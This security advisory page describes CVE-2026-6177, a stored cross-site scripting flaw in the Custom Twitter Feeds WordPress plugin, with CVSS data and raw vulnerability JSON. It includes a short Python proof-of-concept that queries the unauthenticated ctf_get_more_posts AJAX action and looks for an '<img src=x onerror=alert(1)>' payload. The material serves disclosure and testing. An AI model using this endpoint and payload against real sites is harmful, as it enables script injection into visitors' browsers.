Security Vulnerability Report
中文
CVE-2026-6177 CVSS 7.2 HIGH

CVE-2026-6177

Published: 2026-05-13 13:16:45
Last Modified: 2026-05-13 14:43:47

Description

The Custom Twitter Feeds plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 2.5.4. This is due to insufficient output escaping in the CTF_Display_Elements::get_post_text() function when rendering cached tweet text. The plugin's ctf_get_more_posts AJAX action is available to unauthenticated users and directly outputs cached tweet data through nl2br() without HTML escaping. When an attacker can get malicious content into cached tweet data (either by tweeting content that gets cached by the site's feed configuration, or through other vulnerabilities), the malicious HTML/JavaScript is executed when the unauthenticated endpoint is accessed. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the affected endpoint.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Custom Twitter Feeds <= 2.5.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-6177 # This script demonstrates triggering the stored XSS via the vulnerable AJAX endpoint. # Note: The malicious tweet must be cached by the target site first. import requests def check_poc(target_site): # The vulnerable AJAX action url = f"{target_site}/wp-admin/admin-ajax.php" # Payload parameters data = { "action": "ctf_get_more_posts", # Additional parameters like 'feed_id', 'offset' may be required depending on config } try: response = requests.post(url, data=data) # Check if the response reflects unescaped HTML (e.g., <img> tag) # Assuming the cached tweet contains: <img src=x onerror=alert(1)> if "<img" in response.text and "alert(1)" in response.text: print("[+] Vulnerability Confirmed: Unescaped script found in response.") return True else: print("[-] Vulnerability not detected or payload not cached yet.") return False except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://target-wordpress-site.com" check_poc(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6177", "sourceIdentifier": "[email protected]", "published": "2026-05-13T13:16:44.967", "lastModified": "2026-05-13T14:43:46.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Custom Twitter Feeds plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 2.5.4. This is due to insufficient output escaping in the CTF_Display_Elements::get_post_text() function when rendering cached tweet text. The plugin's ctf_get_more_posts AJAX action is available to unauthenticated users and directly outputs cached tweet data through nl2br() without HTML escaping. When an attacker can get malicious content into cached tweet data (either by tweeting content that gets cached by the site's feed configuration, or through other vulnerabilities), the malicious HTML/JavaScript is executed when the unauthenticated endpoint is accessed. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the affected endpoint."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/custom-twitter-feeds/tags/2.5.4/custom-twitter-feed.php#L447", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/custom-twitter-feeds/tags/2.5.4/inc/CTF_Display_Elements.php#L505", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/custom-twitter-feeds/tags/2.5.4/inc/CTF_Display_Elements.php#L521", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/custom-twitter-feeds/tags/2.5.4/templates/item.php#L36", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/custom-twitter-feeds/trunk/custom-twitter-feed.php#L447", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/custom-twitter-feeds/trunk/inc/CTF_Display_Elements.php#L505", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/custom-twitter-feeds/trunk/inc/CTF_Display_Elements.php#L521", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/custom-twitter-feeds/trunk/templates/item.php#L36", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3519584%40custom-twitter-feeds&old=3481416%40custom-twitter-feeds", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e4b2178f-e4da-4bfb-9c27-8c1884499769?source=cve", "source": "[email protected]"}]}}